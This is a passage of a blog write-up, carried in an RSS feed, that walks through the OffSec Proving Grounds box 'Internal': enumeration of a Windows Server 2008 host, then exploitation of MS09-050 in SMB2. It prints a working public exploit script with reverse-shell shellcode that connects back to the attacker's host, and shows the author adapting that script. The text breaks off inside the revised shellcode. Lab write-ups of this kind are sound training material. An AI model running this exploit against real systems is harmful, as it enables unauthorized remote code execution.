<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dpsypher on Medium]]></title>
        <description><![CDATA[Stories by Dpsypher on Medium]]></description>
        <link>https://medium.com/@Dpsypher?source=rss-60268ef8e972------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XzGUeODDgoora41hIP_utw.jpeg</url>
            <title>Stories by Dpsypher on Medium</title>
            <link>https://medium.com/@Dpsypher?source=rss-60268ef8e972------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 04:59:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Dpsypher/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Proving Grounds Practice — Internal]]></title>
            <link>https://medium.com/@Dpsypher/proving-grounds-practice-internal-e5098dd29793?source=rss-60268ef8e972------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5098dd29793</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Dpsypher]]></dc:creator>
            <pubDate>Thu, 09 May 2024 17:24:18 GMT</pubDate>
            <atom:updated>2024-05-09T22:36:07.145Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds Practice — Internal</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KPaJNFmgrLPIDb9mdq35nQ.jpeg" /><figcaption>Prompt was ‘Internal human organs put inside a computer case’ graffiti style</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cc_sli7nTuR4_A70SL4VLA.png" /></figure><p>This is an Hard box on Offsec’s PG Practice and the community also rates it as easy. We are going to make it more difficult so that it is interesting.</p><p>Start with a Nmap scan:</p><pre>sudo nmap -Pn -n $IP -sC -sV -p- --open</pre><p>I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports<em> only</em>.</p><pre>┌──(kali㉿kali)-[~/offsec-labs/TEMP-publish]<br>└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open          <br>[sudo] password for kali: <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 10:58 EDT<br>Nmap scan report for 192.168.185.40<br>Host is up (0.075s latency).<br>Not shown: 65110 closed tcp ports (reset), 412 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT      STATE SERVICE            VERSION<br>53/tcp    open  domain             Microsoft DNS 6.0.6001 (17714650) (Windows Server 2008 SP1)<br>| dns-nsid: <br>|_  bind.version: Microsoft DNS 6.0.6001 (17714650)<br>135/tcp   open  msrpc              Microsoft Windows RPC<br>139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds       Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)<br>3389/tcp  open  ssl/ms-wbt-server?<br>| rdp-ntlm-info: <br>|   Target_Name: INTERNAL<br>|   NetBIOS_Domain_Name: INTERNAL<br>|   NetBIOS_Computer_Name: INTERNAL<br>|   DNS_Domain_Name: internal<br>|   DNS_Computer_Name: internal<br>|   Product_Version: 6.0.6001<br>|_  System_Time: 2024-04-30T15:00:24+00:00<br>|_ssl-date: 2024-04-30T15:00:32+00:00; +2s from scanner time.<br>| ssl-cert: Subject: commonName=internal<br>| Not valid before: 2023-01-22T17:37:15<br>|_Not valid after:  2023-07-24T17:37:15<br>5357/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Service Unavailable<br>49152/tcp open  msrpc              Microsoft Windows RPC<br>49153/tcp open  msrpc              Microsoft Windows RPC<br>49154/tcp open  msrpc              Microsoft Windows RPC<br>49155/tcp open  msrpc              Microsoft Windows RPC<br>49156/tcp open  msrpc              Microsoft Windows RPC<br>49157/tcp open  msrpc              Microsoft Windows RPC<br>49158/tcp open  msrpc              Microsoft Windows RPC<br>Service Info: Host: INTERNAL; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008::sp1, cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2<br><br>Host script results:<br>| smb2-security-mode: <br>|   2:0:2: <br>|_    Message signing enabled but not required<br>|_nbstat: NetBIOS name: INTERNAL, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 00:50:56:bf:1f:25 (VMware)<br>| smb2-time: <br>|   date: 2024-04-30T15:00:24<br>|_  start_date: 2023-01-23T17:37:08<br>| smb-os-discovery: <br>|   OS: Windows Server (R) 2008 Standard 6001 Service Pack 1 (Windows Server (R) 2008 Standard 6.0)<br>|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1<br>|   Computer name: internal<br>|   NetBIOS computer name: INTERNAL\x00<br>|   Workgroup: WORKGROUP\x00<br>|_  System time: 2024-04-30T08:00:24-07:00<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>|_clock-skew: mean: 1h24m02s, deviation: 3h07m49s, median: 2s</pre><p>When the TCP scan finishes, immediately run a UDP scan.</p><pre>sudo nmap -Pn -n $IP -sU --top-ports=100 --reason</pre><p>Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Let this run while we review the TCP scan, we’ll come back to it <em>if it becomes important</em>. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise. Lastly we add — reason to understand why ports are returned as open, open|filtered, or closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*Hbtc-pYmz5j9a9vKva2WAw.png" /><figcaption>Notice that port 137 is open and does not appear in the TCP scan. I cannot think of a way that this is helpful to our efforts, I just thought it interesting.</figcaption></figure><p>What do we see with our initial Nmap scans?</p><p>If you said ‘A lot of things!’, pat yourself on the back. The first item I like to address is the DNS name. We should add that to our hosts file now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*blJ4krI9VnPEQI7k463G1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*kQHc1-Ra9YI-6pZediTkzw.png" /></figure><p>For TCP we have DNS (53), Microsoft Remote Procedure Call (135), SMB and/or Remote Management (139 + 445), and some unknown HTTP service on port 5357. For UDP we do not have anything special to work with. As always, I like to start from the top.</p><p>Port 53 — DNS, Microsoft DNS 6.0.600</p><p>We can try a domain transfer to find hidden alternate domain names or subdomains.</p><pre>dig @$IP axfr internal</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*WNxwdIi-ZR04dmiSv-v28w.png" /></figure><p>No love.</p><p>Port 135 -Microsoft Windows RPC</p><p>We can try RPCclient to interact with the Remote Procedure Call service.</p><pre>rpcclient -U &#39;&#39; -N $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*JTbLARElW44wZ8wR3kaKmw.png" /></figure><p>We get a prompt! Access to this is not blocked, pressing tab twice will lead you to an overwhelming amount of options of which I have not totally explored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*VeuqeLSl_s-YCZYqYju8tw.png" /></figure><p>If anyone in the audience has more experience, I would love it if you would sound off in the comment section about how I can better use this to enumerate this and other boxes. For now I am going to say ‘No’. The command I find most useful is ‘enumdomusers’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*UVILZOlG8b-KeoMHmi9kNw.png" /><figcaption>Not useful here.</figcaption></figure><p>Ports 139,445 — SMB and/or Remote Management</p><p>Nmap already captured useful leaked OS information ‘Windows Server (R) 2008 Standard 6001 Service Pack 1’. We can also see plenty of semi-useful information in the host script results at the end of the Nmap scan. The two items of import are the host name ‘internal’ which we already added to our /etc/hosts file and ‘Message signing enabled but not required’. I have not seen anyone really mention this, but be aware that this indicates it is possible to REFLECT credentials from a verified source (like another computer in the AD Network) to gain access. I have use this with impacket-ntlmrelayx to escalate my privileges.</p><p>Anyway, my process for this port combination is:</p><pre>enum4linux $IP<br><br>smbclient -N -L \\\\$IP\\</pre><p>We do not get any useful information. The only indication of a connection is from enum4linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBoT6A__Hip_18FuKKtynw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-aMnk_Shjpgsb3G2vwCxRA.png" /></figure><p>With smbclient we can connect, but nothing is shared with the anonymous user.</p><p>Port 3389 — Remote Desktop Protocol</p><p>We do not have credentials but we can still connect. Occasionally we can see user names this way.</p><pre>rdesktop internal</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hvxGes04A5mvxSLwbxL-Yw.png" /></figure><p>We get an interesting warning about the certificate. This was also reported by Nmap, note that the system time is correct above the certificate expiration date.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*rV2jyk6U2AfxC0W-rFyHWQ.png" /></figure><p>If we ‘Yes’ through both dialog options, we can make a connection anyway.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*jlBphsl4Il9PcyYjqFcj0g.png" /></figure><p>This allows us to open the Ease of Access options. While I cannot think of anything to to with this, I point it out because this is the enumeration phase. Ideally we are the explorer looking in every nook and cranny for potentially exploitable functionality.</p><p>Port 5357 — WSDAPI</p><p>I had to <a href="https://www.speedguide.net/port.php?port=5357">look this up</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0qUEOjryBCoOatzfUM8O5w.png" /></figure><p>Since every other port looks like a bust and merely researching this port brings up a warning, I get a strong feeling this may be our internal access port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*LHMa6RUzUYOZfcBo8dPdMw.png" /></figure><p>The first hit on a Google search is a Security Bulletin from 2009 and we already know that the OS is Windows Server 2008. <a href="https://learn.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-063">This looks good</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DjJVUsuSIAlL02NEyE6alQ.png" /><figcaption>Music to my ears.</figcaption></figure><p>We keep searching.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W_wuhYyB6oBqbLUC-fjuRg.png" /></figure><p>Exploit-DB <a href="https://www.exploit-db.com/exploits/40280">has a hit</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__kIaDA_OYVJSTxrijTaiQ.png" /></figure><p>We copy it into a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*QYK0Ua8upL3tJHHQmlgUUQ.png" /></figure><pre># EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py<br><br>#!/usr/bin/python<br>#This module depends on the linux command line program smbclient. <br>#I can&#39;t find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python.<br>#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter.<br>import tempfile<br>import sys<br>import subprocess<br>from socket import socket<br>from time import sleep<br>from smb.SMBConnection import SMBConnection<br><br><br>try:<br><br> target = sys.argv[1]<br>except IndexError:<br> print &#39;\nUsage: %s &lt;target ip&gt;\n&#39; % sys.argv[0]<br> print &#39;Example: MS36299.py 192.168.1.1 1\n&#39;<br> sys.exit(-1)<br><br>#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443  EXITFUNC=thread  -f python<br>shell =  &quot;&quot;<br>shell += &quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b&quot;   #fce8820000006089e531c0648b<br>shell += &quot;\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7&quot;<br>shell += &quot;\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf&quot;<br>shell += &quot;\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c&quot;<br>shell += &quot;\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01&quot;<br>shell += &quot;\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31&quot;<br>shell += &quot;\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d&quot;<br>shell += &quot;\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66&quot;<br>shell += &quot;\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0&quot;<br>shell += &quot;\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f&quot;<br>shell += &quot;\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68&quot;<br>shell += &quot;\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8&quot;<br>shell += &quot;\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00&quot;<br>shell += &quot;\xff\xd5\x6a\x05\x68\xc0\xa8\x1e\x4d\x68\x02\x00\x01&quot;<br>shell += &quot;\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea&quot;<br>shell += &quot;\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5&quot;<br>shell += &quot;\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec&quot;<br>shell += &quot;\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02&quot;<br>shell += &quot;\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a&quot;<br>shell += &quot;\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53&quot;<br>shell += &quot;\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9&quot;<br>shell += &quot;\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40&quot;<br>shell += &quot;\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57&quot;<br>shell += &quot;\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9&quot;<br>shell += &quot;\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0&quot;<br>shell += &quot;\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c&quot;<br>shell += &quot;\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00&quot;<br>shell += &quot;\x53\xff\xd5&quot;<br><br><br><br>host = target, 445<br><br>buff =&quot;\x00\x00\x03\x9e\xff\x53\x4d\x42&quot;<br>buff+=&quot;\x72\x00\x00\x00\x00\x18\x53\xc8&quot;<br>buff+=&quot;\x17\x02&quot; #high process ID<br>buff+=&quot;\x00\xe9\x58\x01\x00\x00&quot;<br>buff+=&quot;\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>buff+=&quot;\x00\x00\xfe\xda\x00\x7b\x03\x02&quot;<br>buff+=&quot;\x04\x0d\xdf\xff&quot;*25<br>buff+=&quot;\x00\x02\x53\x4d&quot;<br>buff+=&quot;\x42\x20\x32\x2e\x30\x30\x32\x00&quot;<br>buff+=&quot;\x00\x00\x00\x00&quot;*37<br>buff+=&quot;\xff\xff\xff\xff&quot;*2<br>buff+=&quot;\x42\x42\x42\x42&quot;*7<br>buff+=&quot;\xb4\xff\xff\x3f&quot; #magic index<br>buff+=&quot;\x41\x41\x41\x41&quot;*6<br>buff+=&quot;\x09\x0d\xd0\xff&quot; #return address<br><br>#stager_sysenter_hook from metasploit<br><br>buff+=&quot;\xfc\xfa\xeb\x1e\x5e\x68\x76\x01&quot;<br>buff+=&quot;\x00\x00\x59\x0f\x32\x89\x46\x5d&quot;<br>buff+=&quot;\x8b\x7e\x61\x89\xf8\x0f\x30\xb9&quot;<br>buff+=&quot;\x16\x02\x00\x00\xf3\xa4\xfb\xf4&quot;<br>buff+=&quot;\xeb\xfd\xe8\xdd\xff\xff\xff\x6a&quot;<br>buff+=&quot;\x00\x9c\x60\xe8\x00\x00\x00\x00&quot;<br>buff+=&quot;\x58\x8b\x58\x54\x89\x5c\x24\x24&quot;<br>buff+=&quot;\x81\xf9\xde\xc0\xad\xde\x75\x10&quot;<br>buff+=&quot;\x68\x76\x01\x00\x00\x59\x89\xd8&quot;<br>buff+=&quot;\x31\xd2\x0f\x30\x31\xc0\xeb\x31&quot;<br>buff+=&quot;\x8b\x32\x0f\xb6\x1e\x66\x81\xfb&quot;<br>buff+=&quot;\xc3\x00\x75\x25\x8b\x58\x5c\x8d&quot;<br>buff+=&quot;\x5b\x69\x89\x1a\xb8\x01\x00\x00&quot;<br>buff+=&quot;\x80\x0f\xa2\x81\xe2\x00\x00\x10&quot;<br>buff+=&quot;\x00\x74\x0e\xba\x00\xff\x3f\xc0&quot;<br>buff+=&quot;\x83\xc2\x04\x81\x22\xff\xff\xff&quot;<br>buff+=&quot;\x7f\x61\x9d\xc3\xff\xff\xff\xff&quot;<br>buff+=&quot;\x00\x04\xdf\xff\x00\x04\xfe\x7f&quot;<br>buff+=&quot;\x60\x6a\x30\x58\x99\x64\x8b\x18&quot;<br>buff+=&quot;\x39\x53\x0c\x74\x2b\x8b\x43\x10&quot;<br>buff+=&quot;\x8b\x40\x3c\x83\xc0\x28\x8b\x08&quot;<br>buff+=&quot;\x03\x48\x03\x81\xf9\x6c\x61\x73&quot;<br>buff+=&quot;\x73\x75\x15\xe8\x07\x00\x00\x00&quot;<br>buff+=&quot;\xe8\x0d\x00\x00\x00\xeb\x09\xb9&quot;<br>buff+=&quot;\xde\xc0\xad\xde\x89\xe2\x0f\x34&quot;<br>buff+=&quot;\x61\xc3\x81\xc4\x54\xf2\xff\xff&quot;<br><br>buff+=shell<br><br>s = socket()<br>s.connect(host)<br>s.send(buff)<br>s.close() <br>#Trigger the above injected code via authenticated process.<br>subprocess.call(&quot;echo &#39;1223456&#39; | rpcclient -U Administrator %s&quot;%(target), shell=True)</pre><p>We will treat this as a template because there are some noticeable problems with it; namely it is in Python2. Also, we will not use the provided shell code. It is ill advised to ever use shell code directly from the internet unless you have vetted it first.</p><p>Note that there is also a Metasploit exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bVwXmRmGOJNZpvPPB_22pg.png" /></figure><p>While we should try to avoid using our one Metasploit use on the OSCP exam, we can look at it for more <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb">insight into the process.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0diiQzvLA2F4y6MNOfQuew.png" /></figure><p>First we need to localize the msfvenom hexadecimal shell code to include our IP address instead of the authors. Then replace the shell code in the script with ours.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ma2-0MgF7frDKHotyTnTPQ.png" /></figure><p>Paste this in place of the author’s code and be sure to replace the variable ‘buf ’ above with ‘shell’ as used by the author.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CrZrkOOENVToVus7BPwQiw.png" /><figcaption>Using find and replace from Sublime text</figcaption></figure><p>Also note the difference of the added lower case ‘b’ before the open double quotation. This indicated a byte string in python3. We will have to adjust the whole script to be python3 but more on that later.</p><pre>#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.165 LPORT=443  EXITFUNC=thread -f python <br>shell =  b&quot;&quot;<br>shell += b&quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&quot;<br>shell += b&quot;\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64&quot;<br>shell += b&quot;\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28&quot;<br>shell += b&quot;\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c&quot;<br>shell += b&quot;\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52&quot;<br>shell += b&quot;\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78&quot;<br>shell += b&quot;\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58&quot;<br>shell += b&quot;\x20\x01\xd3\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34&quot;<br>shell += b&quot;\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38&quot;<br>shell += b&quot;\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58&quot;<br>shell += b&quot;\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c&quot;<br>shell += b&quot;\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b&quot;<br>shell += b&quot;\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12&quot;<br>shell += b&quot;\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68&quot;<br>shell += b&quot;\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8&quot;<br>shell += b&quot;\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68&quot;<br>shell += b&quot;\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2d&quot;<br>shell += b&quot;\xa5\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50&quot;<br>shell += b&quot;\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97&quot;<br>shell += b&quot;\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85&quot;<br>shell += b&quot;\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00&quot;<br>shell += b&quot;\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f&quot;<br>shell += b&quot;\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68&quot;<br>shell += b&quot;\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5&quot;<br>shell += b&quot;\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9&quot;<br>shell += b&quot;\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00&quot;<br>shell += b&quot;\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff&quot;<br>shell += b&quot;\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff&quot;<br>shell += b&quot;\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff&quot;<br>shell += b&quot;\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xe0\x1d\x2a&quot;<br>shell += b&quot;\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a&quot;<br>shell += b&quot;\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00&quot;<br>shell += b&quot;\x53\xff\xd5&quot;</pre><p>Then we can plug the rest of the code in ChatGPT to look for system call dangerous to our local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CG4dtGkGCvozBlv7t3L-gg.png" /></figure><p>The most dangerous item to look for is a root access call to our own system and/or if it reaches out to the internet for any reason.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WOylA5AQsTs-ZlN3yxI8VQ.png" /></figure><p>Furthermore we can ask ChatGPT to translate the code into assembly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tXgYAiEEEkcGJ55IesQ6EA.png" /></figure><pre>section .text<br>    global _start<br><br>_start:<br>    ; Initialization<br>    xor     eax, eax<br>    xor     ebx, ebx<br>    xor     ecx, ecx<br>    xor     edx, edx<br>    mov     ebx, 0x539e0000 ; Set high process ID<br>    mov     ecx, 0x2e5328    ; Magic index<br><br>    ; Padding<br>    jmp     short $+0x158<br>    add     ecx, 0x158<br>    inc     ecx<br>    cmp     ecx, 0x7fffffff<br>    jne     $-0x3a<br>    jmp     short $+0x61<br><br>    ; Stager Sysenter Hook from Metasploit<br>    push    esp<br>    push    0x176<br>    pop     eax<br>    int     0x32<br>    mov     [esi+0x61], edi<br>    mov     edi, ebx<br>    xor     eax, eax<br>    rdmsr<br>    syscall<br>    jmp     $+0x11<br>    push    0x0<br>    push    esp<br>    call    $+0x0<br>    pop     eax<br>    mov     ebx, [eax+0x54]<br>    mov     [esp+0x24], ebx<br>    sub     esp, 0x24<br>    cmp     ecx, 0xdeadc0de ; Check magic index<br>    jne     $+0x10<br>    push    0x176<br>    pop     ecx<br>    xor     eax, eax<br>    rdmsr<br>    xor     edx, edx<br>    xor     ecx, ecx<br>    jmp     short $+0x31<br>    movzx   edx, byte [esi]<br>    movzx   ebx, byte [esi+0x69]<br>    mov     [edx], ebx<br>    mov     eax, 0x1000<br>    mov     edx, 0x3fff<br>    or      edx, 0xc0000000<br>    je      $+0xe<br>    push    0xc03fffff<br>    mov     edx, 0x7fffffff<br>    inc     ecx<br>    ret<br>    ; Shell<br>    ; Your shellcode goes here</pre><p>So this shell code <em>appears</em> to be safe for us to run. It is what is represents itself to be; a way to interrupt a process call and jump to shell code. Be advised this is more useful in a real world scenario because as of this writing AI use is prohibited on the OSCP. This box is labeled as easy, so I imagine we are supposed to use Metasploit.</p><p>Moving on, with our msfvenom code inserted in place of the authors, I leave everything else alone and set up a listener on port 443 as directed by the LPORT=443.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*rkxVUCL6Re8lkV8xlENfNA.png" /><figcaption>Use rlwrap to ensure we have arrow functionality upon connection.</figcaption></figure><p>Trying the exploit produces an error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*beTzZh9KZxcmMDAGqLRVig.png" /></figure><p>This is relate to the fact the sections of the code are still in python2 but we can change that.</p><p>Go from:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*kg3Tpm9OaN1nypIsSe-0qA.png" /></figure><p>To:</p><pre>try:<br>    target = sys.argv[1]<br>except IndexError:<br>    print(&#39;\nUsage: %s &lt;target ip&gt;\n&#39; % sys.argv[0])<br>    print(&#39;Example: MS36299.py 192.168.1.1 \n&#39;)<br>    sys.exit(-1)</pre><p>Run it again for another error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iymNXuKyJMUO7F9Gb-aY9Q.png" /></figure><p>This is because the last portion of the shell code does not contain a preceding lowercase ‘b’ to indicate a byte sequence as demanded by python3; change that as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ZOKblsD8NYCULypz_QphQ.png" /><figcaption>Once again using find and replace from Sublime text</figcaption></figure><p>So our script at this time should look something like this:</p><pre># EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py<br><br>#!/usr/bin/python<br>#This module depends on the linux command line program smbclient. <br>#I can&#39;t find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python.<br>#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter.<br>import tempfile<br>import sys<br>import subprocess<br>from socket import socket<br>from time import sleep<br>from smb.SMBConnection import SMBConnection<br><br><br>try:<br>    target = sys.argv[1]<br>except IndexError:<br>    print(&#39;\nUsage: %s &lt;target ip&gt;\n&#39; % sys.argv[0])<br>    print(&#39;Example: MS36299.py 192.168.1.1 \n&#39;)<br>    sys.exit(-1)<br><br>#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.165 LPORT=443  EXITFUNC=thread  -f python<br>shell =  b&quot;&quot;<br>shell += b&quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&quot;<br>shell += b&quot;\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90&quot;<br>shell += b&quot;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64&quot;<br>shell += b&quot;\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28&quot;<br>shell += b&quot;\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c&quot;<br>shell += b&quot;\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52&quot;<br>shell += b&quot;\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1&quot;<br>shell += b&quot;\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49&quot;<br>shell += b&quot;\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01&quot;<br>shell += b&quot;\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75&quot;<br>shell += 